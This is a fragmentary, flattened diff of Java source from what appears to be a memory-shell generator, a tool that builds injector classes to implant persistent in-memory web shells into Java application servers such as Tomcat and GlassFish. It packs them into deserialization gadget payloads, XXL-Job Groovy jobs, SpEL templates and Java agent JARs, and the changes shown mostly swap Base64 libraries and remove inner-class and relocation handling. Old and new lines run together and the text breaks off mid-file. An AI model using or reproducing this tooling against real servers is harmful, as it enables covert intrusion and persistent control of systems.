import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.HashMap; import java.util.HashMap;
@@ -1,22 +1,20 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.scaffold.TypeValidation;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.pool.TypePool; import org.apache.commons.codec.binary.Base64;
import java.util.Base64;;
import java.util.*; import java.util.Objects;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -35,14 +33,11 @@ public class InjectorGenerator {
@SneakyThrows @SneakyThrows
public DynamicType.Builder<?> getBuilder() { public DynamicType.Builder<?> getBuilder() {
String base64String = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())); String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
String originalClassName = injectorConfig.getInjectorClass().getName();
String newClassName = injectorConfig.getInjectorClassName();
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass()) .redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -61,38 +56,6 @@ public class InjectorGenerator {
return builder; return builder;
} }
@SneakyThrows
public Map<String, byte[]> getInnerClassBytes() {
Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
if (innerClassNames.isEmpty()) {
return Collections.emptyMap();
}
String originalClassName = injectorConfig.getInjectorClass().getName();
String newClassName = injectorConfig.getInjectorClassName();
ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
TypePool typePool = TypePool.Default.of(classFileLocator);
Map<String, byte[]> bytes = new HashMap<>();
for (String innerClassName : innerClassNames) {
TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
DynamicType.Builder<?> innerBuilder = new ByteBuddy()
.with(TypeValidation.DISABLED)
.redefine(innerTypeDesc, classFileLocator)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
bytes.put(newInnerClassName, entry.getValue());
}
}
}
return bytes;
}
@SneakyThrows @SneakyThrows
public byte[] generate() { public byte[] generate() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
@@ -1,66 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class NeoreGeorgGenerator {
private final ShellConfig shellConfig;
private final NeoreGeorgConfig neoreGeorgConfig;
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
this.shellConfig = shellConfig;
this.neoreGeorgConfig = neoreGeorgConfig;
}
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(neoreGeorgConfig.getShellClass())
.name(neoreGeorgConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", neoreGeorgConfig.getHeaderName());
put("headerValue", neoreGeorgConfig.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,15 +1,12 @@
package com.reajason.javaweb.memshell.packer; package com.reajason.javaweb.memshell.packer;
import com.fasterxml.jackson.databind.ObjectMapper; import com.alibaba.fastjson2.JSONObject;
import com.fasterxml.jackson.databind.SerializationFeature; import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
import java.io.IOException; import java.io.IOException;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects; import java.util.Objects;
/** /**
@@ -28,26 +25,23 @@ public class XxlJobPacker implements Packer {
} }
@Override @Override
@SneakyThrows
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
String source = template String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName()); .replace("{{className}}", generateResult.getInjectorClassName());
Map<String, Object> map = new HashMap<>(); JSONObject jsonObject = new JSONObject();
map.put("jobId", 1); jsonObject.put("jobId", 1);
map.put("executorHandler", "demoJobHandler"); jsonObject.put("executorHandler", "demoJobHandler");
map.put("executorParams", "demoJobHandler"); jsonObject.put("executorParams", "demoJobHandler");
map.put("executorBlockStrategy", "COVER_EARLY"); jsonObject.put("executorBlockStrategy", "COVER_EARLY");
map.put("executorTimeout", 0); jsonObject.put("executorTimeout", 0);
map.put("logId", 1); jsonObject.put("logId", 1);
map.put("logDateTime", System.currentTimeMillis()); jsonObject.put("logDateTime", System.currentTimeMillis());
map.put("glueType", "GLUE_GROOVY"); jsonObject.put("glueType", "GLUE_GROOVY");
map.put("glueSource", source); jsonObject.put("glueSource", source);
map.put("glueUpdatetime", System.currentTimeMillis()); jsonObject.put("glueUpdatetime", System.currentTimeMillis());
map.put("broadcastIndex", 0); jsonObject.put("broadcastIndex", 0);
map.put("broadcastTotal", 0); jsonObject.put("broadcastTotal", 0);
ObjectMapper objectMapper = new ObjectMapper(); return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
return objectMapper.writeValueAsString(map);
} }
} }
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -11,6 +11,6 @@ import java.util.Base64;;
public class DefaultBase64Packer implements Packer { public class DefaultBase64Packer implements Packer {
@Override @Override
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()); return Base64.encodeBase64String(generateResult.getInjectorBytes());
} }
} }
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -14,6 +14,6 @@ public class GzipBase64Packer implements Packer {
@Override @Override
@SneakyThrows @SneakyThrows
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())); return Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
} }
} }
@@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -20,6 +19,6 @@ public class Hessian2XSLTScriptEnginePacker implements Packer {
DeserializeConfig deserializeConfig = new DeserializeConfig(); DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.getEncoder().encodeToString(generate); return Base64.encodeBase64String(generate);
} }
} }
@@ -5,7 +5,7 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,6 +19,6 @@ public class HessianXSLTScriptEnginePacker implements Packer {
DeserializeConfig deserializeConfig = new DeserializeConfig(); DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.getEncoder().encodeToString(generate); return Base64.encodeBase64String(generate);
} }
} }
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig(); DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
} }
} }
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig(); DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
} }
} }
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig(); DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
} }
} }
@@ -6,8 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -20,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig(); DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
} }
} }
@@ -1,24 +0,0 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import java.util.Base64;;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections3Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import java.util.Base64;;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections4Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,13 +1,9 @@
package com.reajason.javaweb.memshell.packer.jar; package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.File; import java.io.File;
@@ -17,99 +13,48 @@ import java.net.URL;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.util.Enumeration; import java.util.Enumeration;
import java.util.Map; import java.util.jar.JarEntry;
import java.util.jar.*; import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/1/1 * @since 2025/1/1
*/ */
public class AgentJarPacker implements JarPacker { public class AgentJarPacker implements JarPacker {
private static Path tempBootPath;
static Path tempBootPath;
@Override @Override
@SneakyThrows @SneakyThrows
public byte[] packBytes(GenerateResult generateResult) { public byte[] packBytes(GenerateResult generateResult) {
Manifest manifest = createManifest(generateResult.getInjectorClassName()); String mainClass = generateResult.getInjectorClassName();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); String advisorClass = generateResult.getShellClassName();
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix, isAsm);
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
}
return outputStream.toByteArray();
}
private Manifest createManifest(String mainClass) {
Manifest manifest = new Manifest(); Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes(); manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
attributes.putValue("Manifest-Version", "1.0"); manifest.getMainAttributes().putValue("Agent-Class", mainClass);
attributes.putValue("Agent-Class", mainClass); manifest.getMainAttributes().putValue("Premain-Class", mainClass);
attributes.putValue("Premain-Class", mainClass); manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Redefine-Classes", "true"); manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
return manifest; try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
} addDependency(targetJar, ByteBuddy.class);
@SneakyThrows targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) { targetJar.write(generateResult.getInjectorBytes());
if (isAsm) { targetJar.closeEntry();
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
} else {
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
}
}
@SneakyThrows targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, targetJar.write(generateResult.getShellBytes());
String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage = isRelocateEnabled ?
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
// Add injector class
addClassEntry(targetJar,
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = isRelocateEnabled ?
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
classBytes;
targetJar.write(processedBytes);
targetJar.closeEntry(); targetJar.closeEntry();
} }
return byteArrayOutputStream.toByteArray();
}
@SneakyThrows @SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) { public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/'); String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString(); String sourceUrlString = sourceUrl.toString();
@@ -132,16 +77,8 @@ public class AgentJarPacker implements JarPacker {
String entryName = entry.getName(); String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) { if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry); InputStream entryStream = sourceJar.getInputStream(entry);
byte[] bytes = IOUtils.toByteArray(entryStream);
if (relocate) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (bytes.length > 0) {
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
}
} else {
targetJar.putNextEntry(new JarEntry(entryName)); targetJar.putNextEntry(new JarEntry(entryName));
} IOUtils.copy(entryStream, targetJar);
targetJar.write(bytes);
targetJar.closeEntry(); targetJar.closeEntry();
entryStream.close(); entryStream.close();
} }
@@ -149,29 +86,27 @@ public class AgentJarPacker implements JarPacker {
sourceJar.close(); sourceJar.close();
} }
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows @SneakyThrows
public static void unzip(String jarPath, String tempPath) { public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) { try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries(); Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) { while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement(); JarEntry jarEntry = entries.nextElement();
File targetFile = new File(tempPath, jarEntry.getName()); String entryName = jarEntry.getName();
File file = new File(tempPath, entryName);
if (jarEntry.isDirectory()) { if (jarEntry.isDirectory()) {
targetFile.mkdirs(); file.mkdir();
continue; } else {
} InputStream inputStream = null;
FileOutputStream outputStream = null;
targetFile.getParentFile().mkdirs(); try {
try (InputStream inputStream = jarFile.getInputStream(jarEntry); inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) { outputStream = new FileOutputStream(file);
IOUtils.copy(inputStream, outputStream); IOUtils.copy(inputStream, outputStream);
} finally {
IOUtils.closeQuietly(inputStream);
IOUtils.closeQuietly(outputStream);
}
} }
} }
} }
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -17,6 +17,6 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
@SneakyThrows @SneakyThrows
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
return template.replace("{{className}}", generateResult.getInjectorClassName()) return template.replace("{{className}}", generateResult.getInjectorClassName())
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()))); .replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
} }
} }
@@ -30,9 +30,8 @@ public class ApusicShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, ApusicListenerInjector.class)
.addInjector(FILTER, ApusicFilterInjector.class)
.addInjector(SERVLET, ApusicServletInjector.class) .addInjector(SERVLET, ApusicServletInjector.class)
.build(); .addInjector(FILTER, ApusicFilterInjector.class)
.addInjector(LISTENER, ApusicListenerInjector.class).build();
} }
} }
@@ -18,12 +18,11 @@ public class BesShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, BesListenerInjector.class)
.addInjector(FILTER, BesFilterInjector.class) .addInjector(FILTER, BesFilterInjector.class)
.addInjector(LISTENER, BesListenerInjector.class)
.addInjector(VALVE, BesValveInjector.class) .addInjector(VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -44,16 +42,14 @@ public class GlassFishShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, GlassFishListenerInjector.class)
